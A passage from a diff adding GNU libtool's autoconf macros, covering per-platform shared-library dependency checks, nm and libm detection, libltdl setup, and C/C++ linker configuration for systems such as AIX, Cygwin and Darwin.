lt_cv_file_magic_cmd=/usr/bin/file + case "$host_cpu" in + ia64*) + lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64' + lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so + ;; + hppa*64*) + [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'] + lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl + ;; + *) + lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library' + lt_cv_file_magic_test_file=/usr/lib/libc.sl + ;; + esac + ;; + +irix5* | irix6* | nonstopux*) + case $LD in + *-32|*"-32 ") libmagic=32-bit;; + *-n32|*"-n32 ") libmagic=N32;; + *-64|*"-64 ") libmagic=64-bit;; + *) libmagic=never-match;; + esac + lt_cv_deplibs_check_method=pass_all + ;; + +# This must be Linux ELF. +linux*) + case $host_cpu in + alpha*|hppa*|i*86|ia64*|m68*|mips*|powerpc*|sparc*|s390*|sh*) + lt_cv_deplibs_check_method=pass_all ;; + *) + # glibc up to 2.1.1 does not perform some relocations on ARM + # this will be overridden with pass_all, but let us keep it just in case + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )' ;; + esac + lt_cv_file_magic_test_file=`echo /lib/libc.so* /lib/libc-*.so` + lt_cv_deplibs_check_method=pass_all + ;; + +netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$' + fi + ;; + +newos6*) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=/usr/lib/libnls.so + ;; + +nto-qnx*) + lt_cv_deplibs_check_method=unknown + ;; + +openbsd*) + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$' + fi + ;; + +osf3* | osf4* | osf5*) + lt_cv_deplibs_check_method=pass_all + ;; + +sco3.2v5*) + lt_cv_deplibs_check_method=pass_all + ;; + +solaris*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + case $host_vendor in + motorola) + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]' + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` + ;; + ncr) + lt_cv_deplibs_check_method=pass_all + ;; + sequent) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )' + ;; + sni) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib" + lt_cv_file_magic_test_file=/lib/libc.so + ;; + siemens) + lt_cv_deplibs_check_method=pass_all + ;; + esac + ;; + +sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[[78]]* | unixware7* | sysv4*uw2*) + lt_cv_deplibs_check_method=pass_all + ;; +esac +]) +file_magic_cmd=$lt_cv_file_magic_cmd +deplibs_check_method=$lt_cv_deplibs_check_method +test -z "$deplibs_check_method" && deplibs_check_method=unknown +])# AC_DEPLIBS_CHECK_METHOD + + +# AC_PROG_NM +# ---------- +# find the pathname to a BSD-compatible name lister +AC_DEFUN([AC_PROG_NM], +[AC_CACHE_CHECK([for BSD-compatible nm], lt_cv_path_NM, +[if test -n "$NM"; then + # Let the user override the test. + lt_cv_path_NM="$NM" +else + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH /usr/ccs/bin /usr/ucb /bin; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + tmp_nm="$ac_dir/${ac_tool_prefix}nm" + if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then + # Check to see if the nm accepts a BSD-compat flag. + # Adding the `sed 1q' prevents false positives on HP-UX, which says: + # nm: unknown option "B" ignored + # Tru64's nm complains that /dev/null is an invalid object file + case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in + */dev/null* | *'Invalid file or object type'*) + lt_cv_path_NM="$tmp_nm -B" + break + ;; + *) + case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in + */dev/null*) + lt_cv_path_NM="$tmp_nm -p" + break + ;; + *) + lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but + continue # so that we can try to find one that supports BSD flags + ;; + esac + esac + fi + done + IFS="$lt_save_ifs" + test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm +fi]) +NM="$lt_cv_path_NM" +])# AC_PROG_NM + + +# AC_CHECK_LIBM +# ------------- +# check for math library +AC_DEFUN([AC_CHECK_LIBM], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +LIBM= +case $host in +*-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*) + # These system don't have libm, or don't need it + ;; +*-ncr-sysv4.3*) + AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM="-lmw") + AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm") + ;; +*) + AC_CHECK_LIB(m, cos, LIBM="-lm") + ;; +esac +])# AC_CHECK_LIBM + + +# AC_LIBLTDL_CONVENIENCE([DIRECTORY]) +# ----------------------------------- +# sets LIBLTDL to the link flags for the libltdl convenience library and +# LTDLINCL to the include flags for the libltdl header and adds +# --enable-ltdl-convenience to the configure arguments. Note that LIBLTDL +# and LTDLINCL are not AC_SUBSTed, nor is AC_CONFIG_SUBDIRS called. If +# DIRECTORY is not provided, it is assumed to be `libltdl'. LIBLTDL will +# be prefixed with '${top_builddir}/' and LTDLINCL will be prefixed with +# '${top_srcdir}/' (note the single quotes!). If your package is not +# flat and you're not using automake, define top_builddir and +# top_srcdir appropriately in the Makefiles. +AC_DEFUN([AC_LIBLTDL_CONVENIENCE], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl + case $enable_ltdl_convenience in + no) AC_MSG_ERROR([this package needs a convenience libltdl]) ;; + "") enable_ltdl_convenience=yes + ac_configure_args="$ac_configure_args --enable-ltdl-convenience" ;; + esac + LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdlc.la + LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl']) + # For backwards non-gettext consistent compatibility... + INCLTDL="$LTDLINCL" +])# AC_LIBLTDL_CONVENIENCE + + +# AC_LIBLTDL_INSTALLABLE([DIRECTORY]) +# ----------------------------------- +# sets LIBLTDL to the link flags for the libltdl installable library and +# LTDLINCL to the include flags for the libltdl header and adds +# --enable-ltdl-install to the configure arguments. Note that LIBLTDL +# and LTDLINCL are not AC_SUBSTed, nor is AC_CONFIG_SUBDIRS called. If +# DIRECTORY is not provided and an installed libltdl is not found, it is +# assumed to be `libltdl'. LIBLTDL will be prefixed with '${top_builddir}/' +# and LTDLINCL will be prefixed with '${top_srcdir}/' (note the single +# quotes!). If your package is not flat and you're not using automake, +# define top_builddir and top_srcdir appropriately in the Makefiles. +# In the future, this macro may have to be called after AC_PROG_LIBTOOL. +AC_DEFUN([AC_LIBLTDL_INSTALLABLE], +[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl + AC_CHECK_LIB(ltdl, lt_dlinit, + [test x"$enable_ltdl_install" != xyes && enable_ltdl_install=no], + [if test x"$enable_ltdl_install" = xno; then + AC_MSG_WARN([libltdl not installed, but installation disabled]) + else + enable_ltdl_install=yes + fi + ]) + if test x"$enable_ltdl_install" = x"yes"; then + ac_configure_args="$ac_configure_args --enable-ltdl-install" + LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdl.la + LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl']) + else + ac_configure_args="$ac_configure_args --enable-ltdl-install=no" + LIBLTDL="-lltdl" + LTDLINCL= + fi + # For backwards non-gettext consistent compatibility... + INCLTDL="$LTDLINCL" +])# AC_LIBLTDL_INSTALLABLE + + +# AC_LIBTOOL_CXX +# -------------- +# enable support for C++ libraries +AC_DEFUN([AC_LIBTOOL_CXX], +[AC_REQUIRE([_LT_AC_LANG_CXX]) +])# AC_LIBTOOL_CXX + + +# _LT_AC_LANG_CXX +# --------------- +AC_DEFUN([_LT_AC_LANG_CXX], +[AC_REQUIRE([AC_PROG_CXX]) +AC_REQUIRE([AC_PROG_CXXCPP]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}CXX]) +])# _LT_AC_LANG_CXX + + +# AC_LIBTOOL_F77 +# -------------- +# enable support for Fortran 77 libraries +AC_DEFUN([AC_LIBTOOL_F77], +[AC_REQUIRE([_LT_AC_LANG_F77]) +])# AC_LIBTOOL_F77 + + +# _LT_AC_LANG_F77 +# --------------- +AC_DEFUN([_LT_AC_LANG_F77], +[AC_REQUIRE([AC_PROG_F77]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}F77]) +])# _LT_AC_LANG_F77 + + +# AC_LIBTOOL_GCJ +# -------------- +# enable support for GCJ libraries +AC_DEFUN([AC_LIBTOOL_GCJ], +[AC_REQUIRE([_LT_AC_LANG_GCJ]) +])# AC_LIBTOOL_GCJ + + +# _LT_AC_LANG_GCJ +# --------------- +AC_DEFUN([_LT_AC_LANG_GCJ], +[AC_PROVIDE_IFELSE([AC_PROG_GCJ],[], + [AC_PROVIDE_IFELSE([A][M_PROG_GCJ],[], + [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ],[], + [ifdef([AC_PROG_GCJ],[AC_REQUIRE([AC_PROG_GCJ])], + [ifdef([A][M_PROG_GCJ],[AC_REQUIRE([A][M_PROG_GCJ])], + [AC_REQUIRE([A][C_PROG_GCJ_OR_A][M_PROG_GCJ])])])])])]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}GCJ]) +])# _LT_AC_LANG_GCJ + + +# AC_LIBTOOL_RC +# -------------- +# enable support for Windows resource files +AC_DEFUN([AC_LIBTOOL_RC], +[AC_REQUIRE([LT_AC_PROG_RC]) +_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}RC]) +])# AC_LIBTOOL_RC + + +# AC_LIBTOOL_LANG_C_CONFIG +# ------------------------ +# Ensure that the configuration vars for the C compiler are +# suitably defined. Those variables are subsequently used by +# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. +AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG], [_LT_AC_LANG_C_CONFIG]) +AC_DEFUN([_LT_AC_LANG_C_CONFIG], +[lt_save_CC="$CC" +AC_LANG_PUSH(C) + +# Source file extension for C test sources. +ac_ext=c + +# Object file extension for compiled C test sources. +objext=o +_LT_AC_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(){return(0);}\n' + +_LT_AC_SYS_COMPILER + +# +# Check for any special shared library compilation flags. +# +_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)= +if test "$GCC" = no; then + case $host_os in + sco3.2v5*) + _LT_AC_TAGVAR(lt_prog_cc_shlib, $1)='-belf' + ;; + esac +fi +if test -n "$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)"; then + AC_MSG_WARN([`$CC' requires `$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)' to build shared libraries]) + if echo "$old_CC $old_CFLAGS " | grep "[[ ]]$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)[[ ]]" >/dev/null; then : + else + AC_MSG_WARN([add `$_LT_AC_TAGVAR(lt_prog_cc_shlib, $1)' to the CC or CFLAGS env variable and reconfigure]) + _LT_AC_TAGVAR(lt_cv_prog_cc_can_build_shared, $1)=no + fi +fi + + +# +# Check to make sure the static flag actually works. +# +AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $_LT_AC_TAGVAR(lt_prog_compiler_static, $1) works], + _LT_AC_TAGVAR(lt_prog_compiler_static_works, $1), + $_LT_AC_TAGVAR(lt_prog_compiler_static, $1), + [], + [_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=]) + + +AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1) +AC_LIBTOOL_PROG_COMPILER_PIC($1) +AC_LIBTOOL_PROG_CC_C_O($1) +AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) +AC_LIBTOOL_PROG_LD_SHLIBS($1) +AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) +AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) +AC_LIBTOOL_SYS_LIB_STRIP +AC_LIBTOOL_DLOPEN_SELF($1) + +# Report which librarie types wil actually be built +AC_MSG_CHECKING([if libtool supports shared libraries]) +AC_MSG_RESULT([$can_build_shared]) + +AC_MSG_CHECKING([whether to build shared libraries]) +test "$can_build_shared" = "no" && enable_shared=no + +# On AIX, shared libraries and static libraries use the same namespace, and +# are all built from PIC. +case "$host_os" in +aix3*) + test "$enable_shared" = yes && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + +aix4* | aix5*) + if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then + test "$enable_shared" = yes && enable_static=no + fi + ;; +esac +AC_MSG_RESULT([$enable_shared]) + +AC_MSG_CHECKING([whether to build static libraries]) +# Make sure either enable_shared or enable_static is yes. +test "$enable_shared" = yes || enable_static=yes +AC_MSG_RESULT([$enable_static]) + +AC_LIBTOOL_CONFIG($1) + +AC_LANG_POP +CC="$lt_save_CC" +])# AC_LIBTOOL_LANG_C_CONFIG + + +# AC_LIBTOOL_LANG_CXX_CONFIG +# -------------------------- +# Ensure that the configuration vars for the C compiler are +# suitably defined. Those variables are subsequently used by +# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. +AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG], [_LT_AC_LANG_CXX_CONFIG(CXX)]) +AC_DEFUN([_LT_AC_LANG_CXX_CONFIG], +[AC_LANG_PUSH(C++) +AC_REQUIRE([AC_PROG_CXX]) +AC_REQUIRE([AC_PROG_CXXCPP]) + +_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no +_LT_AC_TAGVAR(allow_undefined_flag, $1)= +_LT_AC_TAGVAR(always_export_symbols, $1)=no +_LT_AC_TAGVAR(archive_expsym_cmds, $1)= +_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)= +_LT_AC_TAGVAR(hardcode_direct, $1)=no +_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)= +_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= +_LT_AC_TAGVAR(hardcode_libdir_separator, $1)= +_LT_AC_TAGVAR(hardcode_minus_L, $1)=no +_LT_AC_TAGVAR(hardcode_automatic, $1)=no +_LT_AC_TAGVAR(module_cmds, $1)= +_LT_AC_TAGVAR(module_expsym_cmds, $1)= +_LT_AC_TAGVAR(link_all_deplibs, $1)=unknown +_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds +_LT_AC_TAGVAR(no_undefined_flag, $1)= +_LT_AC_TAGVAR(whole_archive_flag_spec, $1)= +_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no + +# Dependencies to place before and after the object being linked: +_LT_AC_TAGVAR(predep_objects, $1)= +_LT_AC_TAGVAR(postdep_objects, $1)= +_LT_AC_TAGVAR(predeps, $1)= +_LT_AC_TAGVAR(postdeps, $1)= +_LT_AC_TAGVAR(compiler_lib_search_path, $1)= + +# Source file extension for C++ test sources. +ac_ext=cc + +# Object file extension for compiled C++ test sources. +objext=o +_LT_AC_TAGVAR(objext, $1)=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(int, char *[]) { return(0); }\n' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. +_LT_AC_SYS_COMPILER + +# Allow CC to be a program name with arguments. +lt_save_CC=$CC +lt_save_LD=$LD +lt_save_GCC=$GCC +GCC=$GXX +lt_save_with_gnu_ld=$with_gnu_ld +lt_save_path_LD=$lt_cv_path_LD +if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then + lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx +else + unset lt_cv_prog_gnu_ld +fi +if test -n "${lt_cv_path_LDCXX+set}"; then + lt_cv_path_LD=$lt_cv_path_LDCXX +else + unset lt_cv_path_LD +fi +test -z "${LDCXX+set}" || LD=$LDCXX +CC=${CXX-"c++"} +compiler=$CC +_LT_AC_TAGVAR(compiler, $1)=$CC +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# We don't want -fno-exception wen compiling C++ code, so set the +# no_builtin_flag separately +if test "$GXX" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' +else + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= +fi + +if test "$GXX" = yes; then + # Set up default GNU C++ configuration + + AC_PROG_LD + + # Check if GNU C++ uses GNU ld as the underlying linker, since the + # archiving commands below assume that GNU ld is being used. + if test "$with_gnu_ld" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + + # If archive_cmds runs LD, not CC, wlarc should be empty + # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to + # investigate it a little bit more. (MM) + wlarc='${wl}' + + # ancient GNU ld didn't support --whole-archive et. al. + if eval "`$CC -print-prog-name=ld` --help 2>&1" | \ + grep 'no-whole-archive' > /dev/null; then + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)= + fi + else + with_gnu_ld=no + wlarc= + + # A generic and very simple default shared library creation + # command for GNU C++ for the case where it uses the native + # linker, instead of GNU ld. If possible, this setting should + # overridden to take advantage of the native linker features on + # the platform it is being used on. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + fi + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + +else + GXX=no + with_gnu_ld=no + wlarc= +fi + +# PORTME: fill in a description of your system's C++ link characteristics +AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) +_LT_AC_TAGVAR(ld_shlibs, $1)=yes +case $host_os in + aix3*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*) + for ld_flag in $LDFLAGS; do + case $ld_flag in + *-brtl*) + aix_use_runtimelinking=yes + break + ;; + esac + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + _LT_AC_TAGVAR(archive_cmds, $1)='' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + if test "$GXX" = yes; then + case $host_os in aix4.[012]|aix4.[012].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + else + # We have old collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok' + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' + _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs" + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + # Exported symbols can be pulled into shared objects from archives + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=' ' + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + # This is similar to how AIX traditionally builds it's shared libraries. + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + chorus*) + case $cc_basename in + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, + # as there is no search path for DLLs. + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(always_export_symbols, $1)=no + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_automatic, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + if test "$GXX" = yes ; then + lt_int_apple_cc_single_mod=no + output_verbose_link_cmd='echo' + if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then + lt_int_apple_cc_single_mod=yes + fi + if test "X$lt_int_apple_cc_single_mod" = Xyes ; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + fi + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + if test "X$lt_int_apple_cc_single_mod" = Xyes ; then + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + fi + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags 